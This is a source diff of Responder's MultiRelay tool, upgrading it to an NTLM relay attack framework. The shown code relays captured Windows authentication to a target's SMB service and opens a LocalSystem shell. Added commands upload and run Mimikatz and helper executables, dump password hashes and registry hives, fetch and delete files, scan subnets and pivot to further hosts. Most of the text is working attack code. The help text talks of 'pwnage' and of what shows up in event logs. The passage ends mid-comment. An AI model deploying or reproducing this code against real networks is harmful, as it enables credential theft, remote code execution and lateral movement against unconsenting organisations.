diff --git a/settings.py b/settings.py index fa7c9e8..0fae257 100644 --- a/settings.py +++ b/settings.py @@ -20,7 +20,7 @@ import subprocess from utils import * -__version__ = 'Responder 2.3.3.5' +__version__ = 'Responder 2.3.3.6' class Settings: diff --git a/tools/DHCP.py b/tools/DHCP.py index 20f02b0..0361f93 100755 --- a/tools/DHCP.py +++ b/tools/DHCP.py @@ -74,7 +74,7 @@ config.read(os.path.join(BASEDIR,'Responder.conf')) RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) Interface = options.Interface -Responder_IP = FindLocalIP(Interface) +Responder_IP = FindLocalIP(Interface, None) ROUTERIP = options.RouterIP NETMASK = options.Netmask DHCPSERVER = Responder_IP diff --git a/tools/MultiRelay.py b/tools/MultiRelay.py index e166487..3c838c1 100755 --- a/tools/MultiRelay.py +++ b/tools/MultiRelay.py @@ -20,6 +20,8 @@ import os import logging import optparse import time +import random +import subprocess from threading import Thread from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler try: @@ -28,26 +30,38 @@ except ImportError: print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes." print "You can install it on debian based os with this command: apt-get install python-crypto" print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n" - +try: + import readline +except: + print "Warning: readline module is not available, you will not be able to use the arrow keys for command history" + pass from MultiRelay.RelayMultiPackets import * from MultiRelay.RelayMultiCore import * -from SMBFinger.Finger import RunFinger +from SMBFinger.Finger import RunFinger,ShowSigning,RunPivotScan sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../'))) from socket import * -__version__ = "1.2" +__version__ = "2.0" + + +MimikatzFilename = "./MultiRelay/bin/mimikatz.exe" +RunAsFileName = "./MultiRelay/bin/Runas.exe" +SysSVCFileName = "./MultiRelay/bin/Syssvc.exe" + def UserCallBack(op, value, dmy, parser): args=[] for arg in parser.rargs: if arg[0] != "-": args.append(arg) + if arg[0] == "-": + break if getattr(parser.values, op.dest): args.extend(getattr(parser.values, op.dest)) setattr(parser.values, op.dest, args) -parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0]) +parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0]) parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort") parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay") @@ -67,31 +81,37 @@ if options.UserToRelay is None: if options.ExtraPort is None: options.ExtraPort = 0 -OneCommand = options.OneCommand -Dump = options.Dump -ExtraPort = options.ExtraPort -UserToRelay = options.UserToRelay -Host = options.TARGET, 445 -Cmd = [] -ShellOpen = [] +if not os.geteuid() == 0: + print color("[!] MultiRelay must be run as root.") + sys.exit(-1) + +OneCommand = options.OneCommand +Dump = options.Dump +ExtraPort = options.ExtraPort +UserToRelay = options.UserToRelay + +Host = [options.TARGET] +Cmd = [] +ShellOpen = [] +Pivoting = [2] + def color(txt, code = 1, modifier = 0): return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) def ShowWelcome(): - print color('\nResponder MultiRelay to SMB NTLMv1/2',8,1) - print color('Version: '+__version__,8,1) + print color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1) print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com' print 'Usernames to relay (-u) are case sensitive.' print 'To kill this script hit CRTL-C.\n' + print color('/*',8,1) print 'Use this script in combination with Responder.py for best results.' + print 'Make sure to set SMB and HTTP to OFF in Responder.conf.\n' print 'This tool listen on TCP port 80, 3128 and 445.' - print 'Make sure nothing use these ports.\n' - print 'For optimal pwnage, launch Responder with only these 2 options:' - print '-rv\nRunning psexec style commands can be noisy in the event viewer,' - print 'if anyone ever reads it.. If you want to leave no trace in the' - print 'event viewer, use Responder\'s built-in commands. They silently' - print 'perform the tasks requested, including the hashdump command.' + print 'For optimal pwnage, launch Responder only with these 2 options:' + print '-rv\nAvoid running a command that will likely prompt for information like net use, etc.' + print 'If you do so, use taskkill (as system) to kill the process.' + print color('*/',8,1) print color('\nRelaying credentials for these users:',8,1) print color(UserToRelay,4,1) print '\n' @@ -105,6 +125,13 @@ def ShowHelp(): print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)' print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)' print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)' + print color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)' + print color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\' + print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)' + print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to' + print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)' + print color('mimi command',8,1)+' -> Run a remote Mimikatz command (eg: mimi coffee)' + print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)' print color('help',8,1)+' -> Print this message.' print color('exit',8,1)+' -> Exit this shell and return in relay mode.' print ' If you want to quit type exit and then use CRTL-C\n' @@ -112,7 +139,14 @@ def ShowHelp(): Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../" Logs = logging -Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') +Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') + +def UploadContent(File): + with file(File) as f: + s = f.read() + FileLen = len(s) + FileContent = s + return FileLen, FileContent try: RunFinger(Host[0]) @@ -137,21 +171,26 @@ def IsShellOpen(): else: return True +#Function used to make sure no connections are accepted on HTTP and HTTP_Proxy while we are pivoting. +def IsPivotOn(): + #While there's nothing in our array return false. + if Pivoting[0] == "2": + return False + #If there is return True. + if Pivoting[0] == "1": + return True + def ConnectToTarget(): try: s = socket(AF_INET, SOCK_STREAM) - #Override TCP keep-alives - s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1) - s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15) - s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5) - # macOS does not have TCP_KEEPIDLE - if sys.platform != 'darwin': - s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5) - s.connect(Host) + s.connect((Host[0],445)) return s except: - "Cannot connect to target, host down?" - sys.exit(1) + try: + sys.exit(1) + print "Cannot connect to target, host down?" + except: + pass class HTTPProxyRelay(BaseRequestHandler): @@ -161,6 +200,8 @@ class HTTPProxyRelay(BaseRequestHandler): #Don't handle requests while a shell is open. That's the goal after all. if IsShellOpen(): return None + if IsPivotOn(): + return None except: raise @@ -202,7 +243,7 @@ class HTTPProxyRelay(BaseRequestHandler): ## Send HTTP Proxy Buffer_Ans = WPAD_NTLM_Challenge_Ans() Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb - key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing). + key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing). self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. data = self.request.recv(8092) NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) @@ -219,21 +260,22 @@ class HTTPProxyRelay(BaseRequestHandler): else: #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #and has not attempted before. While at it, let's grab his hash. - Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host) + Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) if Username is not None: head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. t.calculate() packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 + buffer1 = longueur(packet1)+packet1 print "[+] SMB Session Auth sent." s.send(buffer1) smbdata = s.recv(2048) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) if RunCmd is None: - s.close() - return None + s.close() + self.request.close() + return None else: ##Any other type of request, send a 407. @@ -254,6 +296,8 @@ class HTTPRelay(BaseRequestHandler): #Don't handle requests while a shell is open. That's the goal after all. if IsShellOpen(): return None + if IsPivotOn(): + return None except: raise @@ -296,7 +340,7 @@ class HTTPRelay(BaseRequestHandler): ## Send HTTP Response. Buffer_Ans = IIS_NTLM_Challenge_Ans() Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb - key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing). + key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing). self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. data = self.request.recv(8092) NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) @@ -313,7 +357,7 @@ class HTTPRelay(BaseRequestHandler): else: #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #and has not attempted before. While at it, let's grab his hash. - Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host) + Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) if Username is not None: head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") @@ -326,8 +370,9 @@ class HTTPRelay(BaseRequestHandler): smbdata = s.recv(2048) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) if RunCmd is None: - s.close() - return None + s.close() + self.request.close() + return None else: ##Any other type of request, send a 407. @@ -352,7 +397,6 @@ class SMBRelay(BaseRequestHandler): raise s = ConnectToTarget() - try: data = self.request.recv(4096) @@ -368,7 +412,7 @@ class SMBRelay(BaseRequestHandler): ## Make sure it's not a Kerberos auth. if data.find("NTLM") is not -1: ## Start with nego protocol + session setup negotiate to our target. - data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s) + data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting) ## Make sure it's not a Kerberos auth. if data.find("NTLM") is not -1: @@ -394,21 +438,23 @@ class SMBRelay(BaseRequestHandler): packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) - #data = self.request.recv(4096) ##Make him feel bad, ditch the connection. s.close() return None else: #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #and has not attempted before. While at it, let's grab his hash. - Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host) + Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting) if Username is not None: ##Got the ntlm message 3, send it over to SMB. head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") t = data[36:]#Final relay. packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - print "[+] SMB Session Auth sent." + buffer1 = longueur(packet1)+packet1 + if Pivoting[0] == "1": + pass + else: + print "[+] SMB Session Auth sent." s.send(buffer1) smbdata = s.recv(4096) #We're all set, dropping into shell. @@ -428,32 +474,44 @@ class SMBRelay(BaseRequestHandler): buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(4096) - s.close() + self.request.close() return None except Exception: - s.close() self.request.close() ##No need to print anything (timeouts, rst, etc) to the user console.. pass #Interface starts here. -def RunShellCmd(data, s, clientIP, Host, Username, Domain): +def RunShellCmd(data, s, clientIP, Target, Username, Domain): + + #Let's declare our globals here.. + #Pivoting gets used when the pivot cmd is used, it let us figure out in which mode is MultiRelay. Initial Relay or Pivot mode. + global Pivoting + #Update Host, when pivoting is used. + global Host + #Make sure we don't open 2 shell at the same time.. + global ShellOpen + ShellOpen = ["Shell is open"] + # On this block we do some verifications before dropping the user into the shell. if data[8:10] == "\x73\x6d": print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target." print "[+] Hashes were saved anyways in Responder/logs/ folder.\n" - Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") + Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") + del ShellOpen[:] return False if data[8:10] == "\x73\x8d": print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n" - Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") + Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") + del ShellOpen[:] return False if data[8:10] == "\x73\x5e": print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n" + del ShellOpen[:] return False ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$: @@ -461,7 +519,7 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain): if data[8:10] == "\x73\x00": GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session. head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$") + t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 @@ -470,20 +528,28 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain): ## Nope he doesn't. if data[8:10] == "\x75\x22": - print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n" - Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") + if Pivoting[0] == "1": + pass + else: + print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n" + Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") + del ShellOpen[:] return False # This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. if data[8:10] == "\x75\xcc": print "[+] Tree Connect AndX denied. Bad Network Name returned." + del ShellOpen[:] return False ## Tree Connect on C$ is successfull. if data[8:10] == "\x75\x00": - print "[+] Looks good, "+Username+" has admin rights on C$." + if Pivoting[0] == "1": + pass + else: + print "[+] Looks good, "+Username+" has admin rights on C$." head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$") + t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 @@ -495,19 +561,20 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain): print "[+] Authenticated." if OneCommand != None: print "[+] Running command: %s"%(OneCommand) - RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Host) + RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0]) if Dump: print "[+] Dumping hashes" - DumpHashes(data, s, Host) + DumpHashes(data, s, Target[0]) os._exit(1) ## Drop into the shell. if data[8:10] == "\x75\x00" and OneCommand == None: - print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n" - ShowHelp() - #Make sure we don't open 2 shell at the same time.. - global ShellOpen - ShellOpen = ["Shell is open"] + if Pivoting[0] == "1": + pass + else: + print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n" + ShowHelp() + print color('Connected to %s as LocalSystem.'%(Target[0]),2,1) while True: @@ -515,50 +582,153 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain): if data[8:10] == "\x75\x00": #start a thread for raw_input, so we can do other stuff while we wait for a command. t = Thread(target=get_command, args=()) + t.daemon = True t.start() - t.join() - #For now, this is not functionning as expected. The SMB echos are killing the connection - #way faster than if we let the connection time_wait (after 2 tree connect [1 IPC & 1 C$]) itself. - #So let's use the tree connects wait (average time before timeout:5-12h) - """ + + #Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation + #to maintain MultiRelay alive and well. + count = 0 + DoEvery = random.randint(10, 45) while any(x in Cmd for x in Cmd) is False: + count = count+1 SMBKeepAlive(s, data) - time.sleep(20) - pass - """ + if count == DoEvery: + DumbSMBChain(data, s, Target[0]) + count = 0 + if any(x in Cmd for x in Cmd) is True: + break ##Grab the commands. Cmd is global in get_command(). - Read = re.findall(r'(?<=read )[^\r]*', Cmd[0]) - RegDump = re.findall(r'(?<=regdump )[^\r]*', Cmd[0]) - Get = re.findall(r'(?<=get )[^\r]*', Cmd[0]) - Help = re.findall(r'(?<=help)[^\r]*', Cmd[0]) + DumpReg = re.findall('^dump', Cmd[0]) + Read = re.findall('^read (.*)$', Cmd[0]) + RegDump = re.findall('^regdump (.*)$', Cmd[0]) + Get = re.findall('^get (.*)$', Cmd[0]) + Upload = re.findall('^upload (.*)$', Cmd[0]) + Delete = re.findall('^delete (.*)$', Cmd[0]) + RunAs = re.findall('^runas (.*)$', Cmd[0]) + LCmd = re.findall('^lcmd (.*)$', Cmd[0]) + Mimi = re.findall('^mimi (.*)$', Cmd[0]) + Scan = re.findall('^scan (.*)$', Cmd[0]) + Pivot = re.findall('^pivot (.*)$', Cmd[0]) + Help = re.findall('^help', Cmd[0]) if Cmd[0] == "exit": - print "[+]Returning in relay mode." + print "[+] Returning in relay mode." del Cmd[:] del ShellOpen[:] return None - ##For all of the following commands we send the data (var:data) returned by the + ##For all of the following commands we send the data (var: data) returned by the ##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore. ##We also clean up the command array when done. - if Cmd[0] == "dump": - data = DumpHashes(data, s, Host) + if DumpReg: + data = DumpHashes(data, s, Target[0]) del Cmd[:] if Read: File = Read[0] - data = ReadFile(data, s, File, Host) + data = ReadFile(data, s, File, Target[0]) del Cmd[:] if Get: File = Get[0] - data = GetAfFile(data, s, File, Host) + data = GetAfFile(data, s, File, Target[0]) + del Cmd[:] + + if Upload: + File = Upload[0] + if os.path.isfile(File): + FileSize, FileContent = UploadContent(File) + File = os.path.basename(File) + data = WriteFile(data, s, File, FileSize, FileContent, Target[0]) + del Cmd[:] + else: + print File+" does not exist, please specify a valid file." + del Cmd[:] + + if Delete: + Filename = Delete[0] + data = DeleteFile(data, s, Filename, Target[0]) del Cmd[:] if RegDump: Key = RegDump[0] - data = SaveAKey(data, s, Host, Key) + data = SaveAKey(data, s, Target[0], Key) + del Cmd[:] + + if RunAs: + if os.path.isfile(RunAsFileName): + FileSize, FileContent = UploadContent(RunAsFileName) + FileName = os.path.basename(RunAsFileName) + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + Exec = RunAs[0] + data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName) + del Cmd[:] + else: + print RunAsFileName+" does not exist, please specify a valid file." + del Cmd[:] + + if LCmd: + subprocess.call(LCmd[0], shell=True) + del Cmd[:] + + if Mimi: + if os.path.isfile(MimikatzFilename): + FileSize, FileContent = UploadContent(MimikatzFilename) + FileName = os.path.basename(MimikatzFilename) + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + Exec = Mimi[0] + data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName) + del Cmd[:] + else: + print MimikatzFilename+" does not exist, please specify a valid file." + del Cmd[:] + + if Pivot: + if Pivot[0] == Target[0]: + print "[Pivot Verification Failed]: You're already on this host. No need to pivot." + del Pivot[:] + del Cmd[:] + else: + if ShowSigning(Pivot[0]): + del Pivot[:] + del Cmd[:] + else: + if os.path.isfile(RunAsFileName): + FileSize, FileContent = UploadContent(RunAsFileName) + FileName = os.path.basename(RunAsFileName) + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + RunAsPath = '%windir%\\Temp\\'+FileName + Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName) + + if Status == True: + print "[+] Pivoting to %s."%(Pivot[0]) + if os.path.isfile(RunAsFileName): + FileSize, FileContent = UploadContent(RunAsFileName) + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + #shell will close. + del ShellOpen[:] + #update the new host. + Host = [Pivot[0]] + #we're in pivoting mode. + Pivoting = ["1"] + data = PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Target[0], RunAsPath, FileName) + del Cmd[:] + s.close() + return None + + if Status == False: + print "[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host." + del Cmd[:] + del Pivot[:] + else: + print RunAsFileName+" does not exist, please specify a valid file." + del Cmd[:] + + if Scan: + LocalIp = FindLocalIp() + Range = ConvertToClassC(Target[0], Scan[0]) + RunPivotScan(Range, Target[0]) del Cmd[:] if Help: @@ -568,15 +738,23 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain): ##Let go with the command. if any(x in Cmd for x in Cmd): if len(Cmd[0]) > 1: - data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Host) - del Cmd[:] + if os.path.isfile(SysSVCFileName): + FileSize, FileContent = UploadContent(SysSVCFileName) + FileName = os.path.basename(SysSVCFileName) + RunPath = '%windir%\\Temp\\'+FileName + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName) + del Cmd[:] + else: + print SysSVCFileName+" does not exist, please specify a valid file." + del Cmd[:] if data is None: - print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure the server (\\Windows\\Temp\\) is clean\033[0m\n" + print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n" if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop. head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")# + t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")# t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 @@ -613,6 +791,11 @@ def main(): time.sleep(1) except (KeyboardInterrupt, SystemExit): + ##If we reached here after a MultiRelay shell interaction, we need to reset the terminal to its default. + ##This is a bug in python readline when dealing with raw_input().. + if ShellOpen: + os.system('stty sane') + ##Then exit sys.exit("\rExiting...") if __name__ == '__main__': diff --git a/tools/MultiRelay/RelayMultiCore.py b/tools/MultiRelay/RelayMultiCore.py index 20ccfdb..f4332b8 100644 --- a/tools/MultiRelay/RelayMultiCore.py +++ b/tools/MultiRelay/RelayMultiCore.py @@ -21,12 +21,14 @@ import time import os import re import datetime +import threading from RelayMultiPackets import * from odict import OrderedDict from base64 import b64decode, b64encode sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), 'creddump'))) from framework.win32.hashdump import dump_file_hashes from SMBFinger.Finger import ShowSmallResults +from socket import * SaveSam_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/relay-dumps/" Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../../" @@ -34,10 +36,8 @@ Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../../" READTIMEOUT = 1 READ = "\xc0\x00" RW = "\xc2\x00" - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length +MimiKatzSVCName = "" +MimiKatzSVCID = "" class Packet(): fields = OrderedDict([ @@ -98,7 +98,7 @@ def IsSMBAnonymous(data): else: return False -def ParseHTTPHash(data, key, client,UserToRelay,Host): +def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting): LMhashLen = struct.unpack(' 24: - NthashLen = 64 DomainLen = struct.unpack('= 258: Challenge = data[106:114] - print "[+] Setting up HTTP relay with SMB challenge:", Challenge.encode("hex") - return Challenge + if Pivoting[0] == "1": + return Challenge + else: + print "[+] Setting up HTTP relay with SMB challenge:", Challenge.encode("hex") + return Challenge #Here we extract the complete NTLM message from an HTTP request and we will later feed it to our SMB target. def ExtractRawNTLMPacket(data): @@ -241,15 +293,16 @@ def GetSessionResponseFlags(data): if data[41:43] == "\x01\x00": print "[+] Server returned session positive, but as guest. Psexec should fail even if authentication was successful.." -#not used. -def SMBKeepAlive(s, data, time): +#Keeps our connection alive. +def SMBKeepAlive(s, data): head = SMBHeader(cmd="\x2b",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBEcho() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(buffer1) data = s.recv(2048) - time.sleep(time) + time.sleep(1) + #Used for SMB read operations. We grab everything past the Byte Count len in the packet. def ExtractCommandOutput(data): @@ -257,6 +310,15 @@ def ExtractCommandOutput(data): Output = data[63:63+DataLen] return Output +#Used for SMB/DCE-RPC read operations. We grab everything past the Byte Count len in the packet. +def ExtractRPCCommandOutput(data): + DataLen = struct.unpack("i", len(''.join(payload))) + return length + +def ConvertToClassC(Host, Class): + Class = Class.strip() + Ip = re.split(r'(\.|/)', Host) + if Class == "/24": + Ip[6:7] = ["0"] + return ''.join(Ip)+Class + if Class == "/16": + Ip[4:5] = ["0"] + Ip[6:7] = ["0"] + return ''.join(Ip)+Class + else: + print "Illegal class, please use: /24 or /16" + return None + +def GenerateRandomFileName(): + return ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(random.randint(5, 15))]) + +def GenerateServiceName(): + return ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)]) + +def GenerateServiceID(): + return''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) + +### +#SMBRelay grab +### + +def GrabNegotiateFromTarget(data, s, Pivoting): + ## Start with nego protocol + session setup negotiate to our target. + h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") + n = SMBNegoCairo(Data = SMBNegoCairoData()) + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(buffer0) + smbdata = s.recv(4096) + ##Session Setup AndX Request, NTLMSSP_NEGOTIATE to our target. + if smbdata[8:10] == "\x72\x00": + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") + t = data[36:] #simply grab the whole packet except the smb header from the client. + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + smbdata = s.recv(4096) + challenge = ExtractSMBChallenge(smbdata, Pivoting)#Grab the challenge, in case we want to crack the hash later. + return data, smbdata, s, challenge + +def SendChallengeToClient(data, smbdata, conn): + ##Relay all that to our client. + if data[8:10] == "\x73\x00": + head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) + t = smbdata[36:]#simply grab the whole packet except the smb header from the client. + packet0 = str(head)+str(t) + buffer0 = longueur(packet0)+packet0 + conn.send(buffer0) + data = conn.recv(4096) + return data, conn + ##This function is one of the main SMB read function. We request all the time 65520 bytes to the server. #Add (+32 (SMBHeader) +4 Netbios Session Header + 27 for the ReadAndx structure) +63 and you end up with 65583. #set the socket to non-blocking then grab all data, if our target has less than 65520 (last packet) grab the incoming @@ -307,49 +443,42 @@ def ReadOutput(DataOffset, f, data, s): s, data = SMBReadRecv(s) return data, s, ExtractCommandOutput(data) +##We send our WriteAndX request with our offset. +def WriteOutput(DataOffset, Chunk, data, f, s): + head = SMBHeader(cmd="\x2f", flag1="\x18", flag2="\x07\xc8", uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00") + t = SMBWriteData(FID=f, Offset = DataOffset, Data= Chunk) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + ##LockingAndX //should not happens since we didn't request an oplock, but just in case.. + if data[8:10] == "\x24\x00": + head = SMBHeader(cmd="\x24", flag1="\x88", flag2="\x07\xc8", uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00") + t = SMBLockingAndXResponse() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + return data, s + ##When used this function will inject an OpenAndX file not found SMB Header into an incoming packet. -##This is usefull for us when an operation fail. We land back to our shell and send directly a -##Tree Connect IPC$ so we don't loose this precious connection. +##This is usefull for us when an operation fail. We land back to our shell send right 